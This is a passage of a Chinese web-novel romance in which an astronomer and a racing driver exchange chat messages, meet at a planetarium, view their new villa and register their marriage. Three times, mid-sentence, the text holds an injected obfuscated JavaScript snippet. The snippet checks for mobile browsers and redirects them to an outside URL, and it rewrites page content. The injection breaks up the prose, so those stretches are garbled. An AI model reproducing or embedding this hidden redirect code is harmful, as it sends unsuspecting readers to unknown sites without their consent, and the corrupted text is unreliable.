她倒是无所谓,就是害怕这位“白纸一张”的小少爷到时候反咬她“污人清白”,毕竟他之前可是连夜离家出走只为逃婚的。 男人眯起眼:“你是我老婆。”他咬字极重。 “我跟你不愿意,我跟谁愿意?” 温木欲言又止,眼神复杂。 “温老师,”他沉下声,“你觉得我是那种人?” “你想听实话吗?” “你真这么想?!”男人眉宇间酝着风暴。 “我觉得你不是。” 就像按下暂停键,宋星燃的怒气瞬间消散。 他摸了摸后颈,忽然别过脸:“我既然跟你结婚了。” “我这辈子,就只有你一个人。” 这句话说得极不流畅,像是从牙缝里挤出来的,耳根却红得彻底。 温木微微一怔。 在她的预想中,这段婚姻能维持两年都算奇迹。等新大楼资金到位,如果他吵着要离婚,她随时可以签字。如果他不好意思开口,那她也不介意主动。 反正对她而言,离婚不过是人生经历,谈不上污点;对他这样的天之骄子更不值一提,年轻英俊又多金,离婚后照样有大把姑娘追求。 她没想到会听到“一辈子”这样的字眼,还是从眼前这个男人嘴里说出来的。 夜风拂过,星星灯在两人之间投下细碎光斑。 男人时不时偷瞄她一眼,像在等待什么重要的回应。 “嗯,”温木最终轻声说,“我知道。” “就这样?”宋星燃不爽地皱眉,“你不该也跟我说''你这辈子也只有我一个人''吗?” 温木犹豫了一下。秋千轻轻晃动,脚尖点着地面。 “我这辈子,只有你一个人。” 池塘里的锦鲤跃出水面,“扑通”一声溅起水花。 男人喉结滚动,目光落在女人微微颤动的睫毛上。 “阿燃——”沈岁的声音从回廊传来,“我们该回家了。” 像是被惊醒,两人同时移开视线。宋星燃率先转身,大步走向主屋。温木望着他的背影,后知后觉地感到一丝迟来的羞赧。 算了,就当是…… 哄弟弟开心吧。 她整理好裙摆,也朝屋内走去。夜风拂过,秋千上的星星灯轻轻摇晃,在她身后洒下一地细碎的光。 * 温木今晚罕见地不想看文献。 她靠在床头,捧着一本《荆棘鸟》——这是她为数不多的放松方式之一。 作为一个情绪波动极其平缓的人,她需要通过那些狗血淋漓的爱情故事来体验人类情感的极端状态。此刻,梅吉和拉尔夫神父的禁忌之恋正发展到关键处,手机却突然震动起来。 Lgnis:【到家了】 Jupiter:【收到。】 Lgnis:【你平常跟学生也这么说话?】 Jupiter:【不是。】 Jupiter:【我老师是这么跟我说话的。】 对面显示“正在输入”持续了十几秒。 Lgnis:【跟你老公能不能别这么说话?】 Jupiter:【收到。】 手机彻底安静了。 温木重新拿起书,于茉的消息轰炸突然切入。 茉茉唧唧:【你未婚夫今晚上你家吃饭去了???】 茉茉唧唧:【[截图.jpg]】 截图里是宋星燃的朋友圈——一张后院池塘的夜景。构图很妙,焦点对在波光粼粼的水面,左上角却意外入镜一截嫩生生的腿,深蓝裙角在晚风里掀起涟漪,脚踝骨像白玉雕的。 配文就两个字:【漂亮】 发布时间:21:27(3分钟前) 温木盯着那截意外入镜的腿看了三秒。 这家伙什么时候偷拍的?居然还不把她的腿截掉。 Jupiter:【我不知道他发了朋友圈。】 茉茉唧唧:【怎么样啊,女婿第一次上门,还满意吗?】 温木回忆着宋星燃今晚的表现,道歉诚恳,送礼周全,给长辈布菜时连她爸的忌口都记得。 Jupiter:【挺好的。】 茉茉唧唧:【所以真的定下来了?】 Jupiter:【嗯。】 对面突然刷屏式发来五个大哭表情。 茉茉唧唧:【白菜被猪拱了!!!(虽然是帅帅的猪)】 Jupiter:【没事。】 Jupiter:【我就当被狗咬了。】 茉茉唧唧:【你也没放过他。】 温木想起秋千上的那个拥抱,好像也不能算拥抱,是他单方面侵入自己的安全距离。 指尖悬在屏幕上方,转了话题。 Jupiter:【你有认识的赛车手吗?】 茉茉唧唧:【我表弟有!怎么,想查查你那小老公?】 Jupiter:【不是。】 Jupiter:【能不能帮我咨询件事?】 于茉发来一个竖起耳朵的表情。 温木删删改改,最终发出去一行字。 Jupiter:【像他们这样的职业选手,平均体能数据怎么样?】 Jupiter:【那方面。】 手机那头,于茉直接从床上滚了下去。 她捧着手机瞳孔地震,满脑子都是“不会吧不会吧”,晚饭才吃完就来问这个,难道已经?! 不——! 茉茉唧唧:【宝贝,你觉得这种问题很方便问吗???】 茉茉唧唧:【但据我目测应该……还行?[偷瞄.jpg]】 至少那天晚上打架是真猛啊,也许能迁移到…… 床上? 温木认真回忆了一下。宋星燃鼻梁很高,指节修长,至于更具体的…… 那天晚上在赛车场,她好像不小心扫了一眼。 Jupiter:【我认可你的观点。】 于茉崩溃地狂拍枕头。 茉茉唧唧:【都什么时候了还用学术语气讨论这个啊!!!】 茉茉唧唧:【我知道你们结婚了肯定要……但一定要保护好自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223321|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ![担忧.jpg]】 她是真担心。温木虽然身高168,但骨架纤细,宋星燃那个体格看起来能把她整个人裹住还有余。 于茉脑补了一下画面,突然捂住鼻子。 Jupiter:【他答应两年之内不要孩子。】 茉茉唧唧:【还算懂事】 茉茉唧唧:【那我这几天帮你打听打听?】 Jupiter:【茉茉真好。】 对面发来一个坏笑表情。 茉茉唧唧:【不过你打听这个干嘛?试试不就知道了~】 茉茉唧唧:【哦我懂了!如果他不行你要另谋出路?】 温木推了推眼镜,严谨回复。 Jupiter:【需要根据数据制定计划,避免实际操作时出现变量失控。】 于茉盯着这行字看了三遍,缓缓把脸埋进枕头里尖叫。 茉茉唧唧:【我!服!了!】 茉茉唧唧:【您这是要写《F1选手X功能白皮书》吗???】 Jupiter:【如果我有时间的话。】 * 周日清晨六点,天光已经大亮。 温木站在衣帽间里,指尖掠过一排素色连衣裙。最终选了件雾霾蓝的桑蚕丝衬衫裙,腰间系着同色系细腰带,左腕戴了条Tiffany的手链,恰好遮住那句拉丁文纹身。 窗外蝉鸣阵阵,她将长发松松挽起,拎起米色的托特包——她去年在苏黎世机场买的,简约实用。包里有她常备的星图手册和近视眼镜。 “枝枝,这么早?”秦忆正在前院给茉莉花浇水,水珠在晨光中折射出细碎的光,“周末也不多睡会儿?” 温木弯腰系好鞋带:“今天天文馆有夏季观星活动。” “又去当小老师啊?”秦忆笑着摇头。 “妈,”温木唇角微扬,“我不小了。” “在妈眼里永远是小姑娘。”秦忆伸手替她理了理衣领,“记得涂防晒,这太阳毒得很。” 宁川市天文馆与大学城仅一街之隔,是宁大天文系的合作单位。温木回国后,每月都会抽两个周末来当义务讲解员。 推开天文馆的玻璃门,冷气混着淡淡的香扑面而来。大厅中央悬挂着巨大的太阳系模型,穹顶上投影着流动的星云,整个空间像被装进了一个梦幻的宇宙泡泡里。 “温博士!”穿着星空T恤的工作人员小跑过来,“今天讲夏季大三角?” 温木点头:“预约满了吗?” “早满了!”工作人员压低声音,“好多家长点名要听您讲解呢。” 九点整,活动开始。 温木站在全息投影下,指尖轻点控制面板。穹顶瞬间变成夏夜的星空,银河如练。 “小朋友们,今天我们来找夏季大三角。”她声音清润,指着投影上的亮星,“先找到天琴座的织女星,它是这个直角三角形最亮的顶点。” 小朋友们围坐在地毯上,仰着小脸。 有个扎羊角辫的女孩举手问:“老师老师,牛郎织女真的能见面吗?” 温木蹲下身,耐心给她解释恒星距离与神话的区别,眼角微微弯起。 中场休息时,温木才发觉忘带水杯。额前的碎发已经被细汗打湿,黏在白皙的皮肤上。 “温老师,喝点水吧。”一位戴黑框眼镜的男研究员红着脸递来矿泉水。 瓶身刚递到一半,突然被一只骨节分明的手挡开。另一瓶拧开盖子的气泡水递到眼前,瓶身凝结的水珠正顺着修长的手指往下滑。 温木侧头,宋星燃不知何时站在身后。他穿着黑色无袖T恤,露出的手臂线条紧实,工装裤上挂着几条金属链,随着动作叮当作响。 那张俊脸上写满不爽,眉头微挑盯着那位研究员,又转向她。 “要哪瓶?” 8. For the stars 温木看了一眼拽得二五八万似的男人,目光在他和研究员之间短暂停留,然后微微弯腰,接过了面前羊角辫小姑娘踮着脚尖递来的矿泉水瓶。 “谢谢你,小妹妹。”她揉了揉小姑娘的发顶,声音比讲解时还要柔和几分。 小姑娘仰着脸甜甜一笑:“嘿嘿,不客气温老师!” 研究员尴尬地挠了挠头,宋星燃斜睨他一眼,语气不耐:“还不走?当电灯泡?” 温木瞥了他一眼,转向研究员:“您先忙,我跟这个小朋友说说话。” 研究员如蒙大赦,连连点头后快步离开。 温木蹲下身,视线与小姑娘平齐:“你叫什么名字?” “我叫露露。”小姑娘奶声奶气地回答,伸出小手比了个七,又慌忙改成八,“我八岁了!” 她不好意思地吐了吐舌头,“见到偶像太开心,手都数不清了。” 温木被她的天真逗笑,眼角弯起温柔的弧度:“你家里人呢?没有陪你来吗?” “来了的!”露露兴奋地转身,小手指向温木身后。 “哥哥!” 温木顺着她指的方向回头,宋星燃不知何时已经蹲在了她背后。 见她转头,他笑得痞坏:“温老师找我有事吗?” 温木皱眉:“我之前怎么没见过你来。” “我之前也不在中国啊。”宋星燃一脸无辜,伸手捏了捏露露的脸蛋,“是不是,小捣蛋?” 露露咯咯笑着躲开。 宋星燃:“看不出来,你还挺受欢迎啊,走到哪都有人给你献殷勤。” 温木没搭理他,低头给露露整理歪掉的衣领:“你也挺闲啊,走到哪都来给我献殷勤。” “你想多了,刚好碰上而已。”宋星燃双手插兜,目光却黏在温木为露露系蝴蝶结的纤长手指上。 女人有一双很漂亮的手,纤细白皙,指甲也修剪的干干净净。他能想象到,她用这双手握着望远镜的样子。 似乎很适合用来,握住什么东西。 温木牵起露露的小手走向讲解区,没再理会身后那道灼热的视线。 后半场讲解,宋星燃抱着手臂靠在最后一排的墙边,目光如有实质地落在她身上。而露露则坐在第一排,仰着小脸听得入迷,时不时发出惊叹声。 中午十二点,活动结束。温木婉拒了几位家长共进午餐的邀请,收拾好资料走出天文馆。 夏日的阳光白得刺眼,她抬手遮在额前,视线落在不远处那辆哑光黑的兰博基尼旁。 宋星燃单手抱着露露,另一只手正在接电话,手臂肌肉线条分明,与怀里穿着粉色蓬蓬裙的露露形成鲜明对比。 露露趴在他肩头,小手揪着他的耳垂玩,而他竟也纵容着,只是偶尔皱眉表示抗议。 温木心头莫名一颤。 如果他们以后有了孩子,宋星燃会不会也这样抱着,任小家伙在他身上胡闹。 不对,她在想什么? 这段婚姻明明只是各取所需,证还没领呢怎么就跳到孩子去了。 温木拍拍自己的脸颊。 肯定是天太热,她这样对自己说。 她走向那辆张扬的超跑,绕着车转了一圈:“又换车了?” 宋星燃刚挂断电话,闻言挑眉:“你还懂车?” 温木:“你知道你这种人叫什么吗?” 男人好奇地问:“叫什么?” “狗熊掰棒子——见一个爱一个。” 露露突然咯咯笑起来,挣扎着要往温木怀里扑。宋星燃无奈地放下她,小姑娘立刻扑向温木,踮起脚尖去够她的脖子。 温木配合地弯腰,露露凑到她耳边,用自以为很小声的气音说:“嫂嫂,露露请你吃饭好不好?” 温木微微睁大眼睛,看向宋星燃:“你教的?” “不是我,”宋星燃举手投降,又轻拍了一下露露的后背,“你个小机灵鬼,上嘴倒挺快。” 露露拽着温木的衣角摇晃:“好不好啊嫂嫂?” 面对小姑娘湿漉漉的大眼睛和甜得发腻的撒娇,温木发现自己完全无法拒绝。 她轻轻点头:“好。” * 半小时后,市中心某大型商场的肯德基内,宋星燃黑着脸,看露露在儿童活动区玩得不亦乐乎。 敢不敢来点上档次的地方啊? 他咬牙切齿地瞪着对面慢条斯理吃薯条的温木。 她正用拇指和食指捏着一根薯条,小口小口地咬着,像只谨慎的松鼠,连吃饭都一板一眼。 “看你吃饭真费劲呢。”宋星燃撑着下巴看她,目光落在她沾了一点番茄酱的嘴角。 他下意识伸手,拇指轻轻擦过温木的唇角。 这个动作太过自然,以至于两人都愣了一下。 温木僵在原地,感受到他略带薄茧的指腹擦过自己皮肤的温度。宋星燃也僵住了,手指还停留在她唇边,能闻到她身上淡淡的茉莉香气。 温木垂眸看了一眼还停在自己唇边的手,抬眼看他。 “你洗手了吗?” 男人猛地收回手,耳根发红:“没洗。你等着生病吧。” 说完直接起身,大步走向洗手间。 温木看着他的背影消失在转角,才轻轻摸了摸自己的嘴角。那里似乎还残留着他手指的温度和触感,让她心跳不受控制地加速。 她低头喝了口可乐,冰凉的液体浇灭了脸上的热度。 等宋星燃回来,露露已经玩累了,吵着要温木抱。 他立刻板起脸:“不可以。” “你那么凶干什么?”温木皱眉。 男人看了一眼温木的雾霾蓝丝质裙子,又看看露露沾了冰淇淋的小手,硬邦邦地说:“她抱在怀里不老实,我怕你摔了她。” 最后还是温木抱着露露坐进了后座。 小姑娘玩累了,很快就趴在她肩头睡着。温木轻轻拍着她的背,自己也有些昏昏沉沉。 红灯前,宋星燃转头看向后座。 阳光透过天窗落在女人的睫毛上,在眼下投出细小的阴影。她睡着的模样毫无防备,唇微微张着,平日里那种清冷感荡然无存。露露的小手攥着她一缕头发,像抓着最宝贝的玩具。 男人轻轻关掉音乐,又默默调高空调。 * 温木迷迷糊糊醒来时,透过天窗看到的已经是深邃的夜空,几颗星星在云层间若隐若现,有什么东西在远处一闪一闪的,可能是飞机的灯光。 她勉强撑起身子,揉了揉太阳穴,喉咙干涩得发疼。她竟然一睡就睡了这么久。 这很不像她。 熬夜观测对她来说是家常便饭,通宵整理数据更是常有的事。今天可能是坐在车上的缘故。她一直不太习惯乘车,尤其是这种底盘低的跑车,总让她有种漂浮在水面上的眩晕感。 腿上有什么东西滑落,她低头看去,是一件宽大的牛仔夹克。拎起来时,一股淡淡的雪松混合着皮革的气息钻入鼻腔,还有一丝若有若无的机油味。 ——是宋星燃的味道。 她下意识将外套拢到鼻尖,又猛地惊醒般松开。 他呢? 温木在车里四下张望,空无一人。 更令她不安的是,她的眼镜不见了。 三百度的近视让眼前的世界蒙上一层毛玻璃般的模糊,远处路灯变成一团团朦胧的光晕。 她摸索着打开车门,夜风立刻灌了进来,带着夏夜特有的草木清香。 这是一个陌生的高档小区,零零散散分布着几栋欧式别墅。路灯明亮却不刺眼,照出精心修剪的灌木丛和开满玫瑰的花园。建筑都不是很大,但每栋都设计精巧,带着小巧的庭院和白色围栏,雅致而安静。 温木裹紧外套站在车边,冷风让她打了个哆嗦。四周静得出奇,只有树叶沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223322|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙作响。 正当她犹豫要不要喊人时,一声细微的猫叫从远处传来。 “喵~” 那声音又轻又软,像是怕惊扰了夜的宁静。 温木拢了拢身上过大的外套,循着声音走去。转过一丛茂密的紫阳花,她好像看到了他。 男人蹲在路灯下的长椅旁,背对着她,肩胛骨的线条在布料下若隐若现。一只橘白相间的流浪猫正亲昵地蹭着他的手,而他正一点点撕开火腿肠的包装,耐心地将肉掰成小块放在掌心。 温木屏住呼吸。 路灯的光像舞台追光般笼罩着这一人一猫,宋星燃的背影在光晕中显得异常柔和。他喂猫的动作很轻,时不时还用指尖挠挠小猫的下巴,惹得小家伙发出舒服的呼噜声。 小猫警觉地抬头,朝温木这边“喵”了两声。 宋星燃随之转身,光影在他轮廓分明的脸上流动,从高挺的鼻梁到微微下垂的嘴角,最后落进那双此刻盛满温柔的眼睛里。 温木站在原地,突然意识到自己的模样有多狼狈。 披着他的外套,没了眼镜的眼睛想必迷茫又朦胧,头发在睡梦中散乱了几缕,此刻正被夜风吹得贴在脸颊上。她下意识想整理,却意外地让外套从肩头滑落一半。 男人站起身,高大的身影在地上投下长长的影子。他朝她走来,每一步都像是踏在温木的心跳上。 路灯的光被他宽阔的肩膀挡住,温木的视野里只剩下他越来越清晰的脸。 “睡好了?”他在她面前站定,声音比平时低沉。 温木点点头:“我的眼镜,在你那儿吗?” 宋星燃没说话,从裤袋里掏出一方深蓝色手帕,小心翼翼地展开。眼镜完好地躺在里面,镜片在路灯下闪着微光。 她伸手去拿,却被宋星燃抢先一步。 “别动。”他低声说,双手捏着镜腿轻轻展开。 温木站着,感受到他呼吸时带起的气流拂过她的睫毛。男人的手指偶尔擦过她的太阳穴和耳廓,引起一阵细微的战栗。 当眼镜终于架回鼻梁上,世界重新变得清晰,她最先看清的是宋星燃近在咫尺的眼睛。 那双眼睛在灯光下呈现出琥珀般的色泽,眼尾微微上挑,睫毛长得不像话。 此刻,它们正专注地看着她,瞳孔里映出两个小小的、披着他外套的她。 这双眼睛,真的很好看。 “跟着我。”宋星燃开口,转身朝来时的方向走去。 温木小跑着跟上,过大的外套下摆随着步伐轻轻摆动。男人走得并不快,但她还是需要加快脚步才能不落后太多。 夜风送来他身上淡淡的香气,混合着火腿肠的味道,莫名地令人安心。 也许是因为,她饿了? 他们在车前的一栋别墅前停下。 温木走神没注意,一头撞上宋星燃的后背。额头触到他坚实的背肌,隔着薄薄的T恤能感受到体温和肌肉的轮廓。 她吃痛地揉着额头后退一步:“怎么不走了?” “设个密码。”宋星燃指了指门边亮着蓝光的智能锁。 温木走过去,盯着数字键盘看了几秒,一个一个输入数字:0、8、2、2。 锁发出“滴”的一声轻响,屏幕跳转到确认界面。 “怎么设这个?”男人的声音从头顶传来。 她抬头看他:“这个不好吗?” 她记得他是这天生日,狮子座,倒是很符合他的个性。 宋星燃盯着她看了几秒,别过脸去:“算了,就这个吧。” 温木重新看向门锁,确认了密码。 她这才有机会好好打量这栋房子。两层的小别墅,米色外墙,黑色铁艺阳台,门前种着一排蓝雪花,在夜风中轻轻摇曳。 “这是哪儿啊?”她轻声问。 男人凑近她耳边,嗓音慵懒。 “我们的家。” 9. For the stars 他们的…… 家吗? 温木站在门前,摩挲着密码锁边缘。 夜风拂过她散落的发丝,带着不知名的花香。眼前这栋精巧的别墅在月光下泛着柔和的米白色。 一种奇异的实感突然击中了她。 她真的要结婚了,要和身后这个男人共同生活。 “进去看看,喜不喜欢。”宋星燃的声音带着一丝她从未听过的温和。 灯光随着开关的轻响铺满整个空间。 北欧风格的装潢,灰白主色调的客厅,原木色地板,简约的线条家具。 但冷硬的基调被巧妙软化:墨绿色沙发上一排色彩明快的抱枕,茶几上摆着盛开的洋桔梗,角落里的龟背竹舒展着宽大的叶片。 最引人注目的是沙发正中央那个几乎有半人高的白色大狗狗抱枕,憨态可掬地歪着头。 温木走过去,食指轻轻戳了戳狗狗的鼻子,眼角不自觉弯起:“这个也是你准备的?” 语气是轻快的。 宋星燃倚在门框上坏笑:“秦姨说的,你睡觉喜欢抱东西,卧室里堆满了娃娃。” 他耸耸肩,“我就准备一些咯。” 随即又故意拖长音调:“温老师,你都三十岁了,怎么还跟个小孩一样。” 温木抱起那个软绵绵的狗狗,把脸埋进去蹭了蹭。抱枕散发着淡淡的薰衣草香,填充物蓬松得恰到好处。 她从绒毛间抬起眼睛:“首先,我才28。” “其次,女人至死是少女。” 男人笑出声,走向前,随手拨弄了一下茶几上的花:“别墅离宁大很近,小区门口有公交,五站就到。” 顿了顿,嘴角勾起一抹坏笑,“隔音和隐私性都很好,如果你想做什么坏事的话,是不会有人发现的。” 温木睨他一眼:“是你想干坏事吧。” 宋星燃突然转身,双手撑在她两侧的沙发靠背上,将她困在方寸之间。 他低头,鼻尖几乎碰到她的,眼睛在灯光下像融化的蜜糖:“我的确想干坏事。” 他的视线从她眼睛滑到嘴唇,又缓缓下移。 温木毫不避讳地回视,属于男人的气息更加浓烈地包围上来。 “怎么样,还符合你的要求吧?”宋星燃退开一步,表情恢复如常,仿佛刚才的侵略性只是幻觉。 温木点点头:“谢谢。” “行了,房子也看好了,回去吧。”宋星燃转身走向门口,背影挺拔如松。 夜色中的宁川市华灯璀璨。 兰博基尼驶过跨江大桥,两岸霓虹倒映在江面上,像打翻的调色盘。 温木望着窗外流动的光影,突然开口:“露露呢?” “送我爸妈那了。”宋星燃单手扶着方向盘,像是料到她会问,“她是我小姨的女儿,我小姨夫妻俩去巴黎度假,放我家住几天。” “哦。”温木轻轻应了一声。 车内陷入舒适的沉默。 车子停在城区别墅区入口,宋星燃熄了火:“我有点事,就不送你进去了。” 温木点头,正要脱下外套,一只骨节分明的大手按在她肩上。男人的手掌几乎能完全笼住她单薄的肩头,温热的体温透过衣料传来。 “还有一截路,晚上凉,穿着回去。”他的声音低哑,拇指摩挲了一下她的肩胛骨,又迅速收回,换上惯常的痞笑。 “你要是生病了,后天就没人陪我领证了。” “后天?”温木微微睁大眼睛。 “嗯,21号。”宋星燃看着前方,侧脸在路灯下棱角分明,“黄道吉日。” “吉得不能再吉了。” 是吗?她看是他急得不能再急了。 急点好,她也急。 温木随即点头:“我知道了。” 她下车站在路边,看着那辆黑色超跑消失在霓虹深处,才转身往家走。 夜风拂过,带着男人气息的外套像是一个无言的拥抱,让她忍不住垂头轻嗅。 “枝枝?”秦忆的声音从客厅传来,“这衣服......” 温木这才发现父母都坐在客厅,目光齐刷刷落在她肩上的男士外套上。 她平静地脱下外套搭在臂弯:“他的。今天去天文馆,碰见了。” 秦忆眼睛一亮,嘴角控制不住地上扬。她没想到这小两口感情进展如此顺利,女儿竟会穿着对方的衣服回家。 “枝枝,今天你沈姨打电话来,说看好日子了,后天去领证,问你愿不愿意。” 温木:“他刚才跟我说了。” “我同意了。” 温志远手里的茶杯“叮”地一声放在茶几上,夫妻俩交换了一个欣喜的眼神。这两年他们没少为女儿的婚事操心,如今终于在温木28岁这年尘埃落定。 “爸妈,那我先上去了。”温木转身上楼,身后立刻传来此起彼伏的电话声。 不用猜也知道是向两家报喜。 卧室里,温木将外套轻轻搭在椅背上。 深蓝色的牛仔布料在台灯下泛着柔和的光泽,左胸位置有一个小小的火焰刺绣,应该是车队的标志。 她拿出手机,犹豫片刻,发出一条微信。 Jupiter:【外套我会洗干净的。】 几乎是立刻,对话框上方显示“对方正在输入”。 Lgnis:【免了,这外套意大利手工定制的,你那做实验的手还是别碰,洗坏了我找谁赔?】 温木几乎能想象男人打出这行字时拧着眉的样子,唇角微扬。 Jupiter:【那好吧】 对面沉寂了几秒,突然发来一个定位——宁川市政务服务中心民政局。 Lgnis:【后天九点,敢迟到一分钟我就跑路】 Lgnis:【到时候你举着“寻找逃婚丈夫”的牌子满城找我,可别哭】 Jupiter:【我会准时到场】 Jupiter:【毕竟,逃婚的狗熊不值得追】 发完这条,温木摘下眼镜,揉了揉鼻梁,把手机静音,放到床头柜上。 窗外,一轮明月高悬,星光稀疏。 * 5月21日,小满。 阳光像融化的金子铺满宁川市的每一个角落,却意外地不显炎热。微风拂过庭院里的蓝花楹,带起几片紫色花瓣,飘落在二楼卧室的窗台上。 衣帽间里,温木面对一柜子的深色系衣服皱起眉头。 藏青、墨绿、炭灰……这些她平日最常穿的颜色此刻显得过于沉闷。 她拎起一件深蓝色连衣裙比了比,又摇摇头放回去。 “早知道就该听于茉的,多买几件亮色衣服。”她小声嘀咕,指尖划过衣架,发出轻微的金属碰撞声。 这种莫名的纠结感很陌生。 她一向对自己的审美有绝对自信——简洁、实用、不张扬,就像她的学术风格一样。 可现在,她居然在考虑“适不适合领证”这种毫无科学依据的问题。 或许是因为结婚确实会改变她原有的生活状态? 温木停下翻找的动作,望向窗外。 “咚咚咚——” “枝枝,你准备好了吗?”秦忆的声音隔着门板传来,带着掩饰不住的喜悦,“阿燃已经来了,你准备好了就下来吧。” 温木深吸一口气:“知道了,马上来。” 楼下客厅里,宋星燃正与温志远相谈甚欢。 他今天罕见地穿了全套西装,深灰色的面料勾勒出宽肩窄腰的完美比例,衬衫领口解开两颗扣子,露出一截锁骨,冲淡了正装的严肃感。 “所以您是说,温木九岁就能背出太阳系所有行星的轨道参数?”宋星燃端着茶杯,眼睛亮得出奇。 温志远笑着点头:“可不是,老师都吓了一跳。这孩子从小就……” 楼梯上传来脚步声。客厅里的谈笑声戛然而止。 男人抬头,手中的茶杯微微倾斜,茶水差点洒出来。 最先映入眼帘的是一双修长白皙的腿,大腿丰腴有致,小腿却纤细笔直,膝盖处泛着淡淡的粉。 温木今天穿了件黑色高腰短裤,上身搭了件白色长袖衬衫,衣摆半扎进裤腰,露出一截纤细的腰线。脚上是黑色匡威鞋,穿的短袜,脚踝骨像白玉雕琢般精致。 她化了淡妆,睫毛纤长卷翘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223323|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唇上是淡淡的玫瑰色。海藻似的黑发垂落下来,随着步伐轻轻晃动。 清冷中透着一丝不易察觉的性感,像冬日里绽放的白梅。 温木看到西装笔挺的宋星燃,脚步微不可察地顿了顿。相比之下,她这身打扮似乎太过随意了——尽管这已经是她在衣柜前纠结半小时的成果。 她慢慢走下楼梯,努力控制着脸上的温度:“我们走吧。” 宋星燃站起身,对温家父母点头致意:“叔叔阿姨,那我们走了。” 阳光透过门廊的玻璃窗洒在两人身上。 宋星燃为她拉开车门,悠悠开口:“你今天怪怪的。” 温木心头一跳,难道他看出来自己特意打扮了? 她强作镇定地系好安全带:“哪里怪了?” 宋星燃俯身凑近,一手撑在她座椅头枕上,笑得痞气十足:“怪好看的。” 温木翻了个白眼。 “弟弟。” “这种话我那个年代的人都不会说了。” 宋星燃哈哈大笑,眼角挤出几道细纹,阳光在他的睫毛上跳跃。他满意地看着温木微微发红的耳尖,这才绕到驾驶座。 宁川市政务服务中心的婚姻登记处比想象中热闹。他们到的时候,前面已经排了两对新人。一对穿着情侣装,时不时甜蜜对视;另一对则看起来紧张得手足无措,女方一直在整理裙摆。 “请出示双方身份证、户口本。”工作人员机械地念着流程。 温木从包里掏出证件,指尖不小心碰到男人的手背,像被烫到般迅速缩回。 宋星燃瞥了她一眼,嘴角勾起一抹笑。 “需要拍照,两位可以先去那边的照相室。”工作人员指了指右侧的小房间。 照相室里,红色背景布前摆着一张长凳。 摄影师是个戴圆框眼镜的姑娘:“新郎可以坐近一点。对,再近一点。新娘,您能不能笑自然些?” 宋星燃的胳膊紧贴着温木的,体温透过薄薄的衣料传来。 他忽然凑到她耳边,悄悄说:“温老师紧张了?” “心跳快得我都听见了。” “那是你的心跳。”温木目视前方,面不改色。 “咔嚓”一声,闪光灯亮起。 照片里的温木微微睁大眼睛,宋星燃则笑得一脸得逞。 回到登记台前,工作人员递给他们几张表格:“请仔细阅读并签字。” 温木低头填写,宋星燃的字迹意外地工整漂亮,不像她那封信中那般潦草。 “请在这里按手印。”工作人员推过来印泥。 宋星燃先按了拇指,然后看着温木纤细的手指按在同样的位置,两人的指纹并排而立,一深一浅。 “恭喜二位正式结为夫妻!”工作人员将两本红彤彤的结婚证递过来,脸上终于露出今天第一个真诚的笑容。 走出民政局大门,温木站在台阶上,阳光洒在那本小小的红本上。 她翻开内页,两人的合照旁印着烫金字样: 持证人:温木 登记日期:2023年5月21日 她结婚了。 在她28岁这一年,在2023年的小满。 这个曾经一心扑在天文学上,认为婚姻不过是社会契约的温博士,此刻竟成了某人的妻子。 温木合上结婚证,指尖轻轻摩挲着光洁的封面。 为了新大楼,为了宁大天文系,她豁出去了。 “发什么呆。”宋星燃的声音在耳边响起,温热的呼吸喷在她耳廓上,吓得她差点跳起来。 他痞笑着看她:“想什么坏主意呢?该不会是,结了就想离吧?” 温木将结婚证收进包里,抬眸看他:“这话应该我对你说吧,宋三少。” “哟,”男人眼睛一亮,“还是第一次听温老师这么喊我。” 他故作陶醉状,“嗯,受用。” 温木转身要走,手腕却被一把扣住。 宋星燃的掌心灼热,力道不重却不容挣脱。 “别急着走啊。”他俯身凑近,鼻尖几乎碰到她的,桃花眼里盛满笑意。 “让我亲你一口。” 10. For the stars 阳光在两人之间流淌,民政局门口的人声鼎沸仿佛被按下了静音键。 温木能清晰地听到宋星燃逐渐靠近的呼吸声。 男人的睫毛在阳光下近乎透明,瞳孔里映出两个小小的她。距离一点点缩短,温木闻到他呼吸里淡淡的薄荷糖味道。 两片唇即将相触的瞬间,“啪”的一声轻响,在安静的空气中格外清晰。 宋星燃挑眉,垂眸看了一眼抵在自己唇上的白皙手背,眼神里带着无声的询问。 温木神色自若:“亲这儿也一样。” 宋星燃歪了歪头,坏笑一下。 湿热的触感让温木像触电般缩回手,手背上残留的水痕在阳光下闪闪发亮。 她用另一只手擦掉那抹湿痕:“你属狗的吗?” “不是,”男人咧嘴一笑,露出两颗尖尖的虎牙。 “我属小兔子。” 温木上上下下打量了他一番。 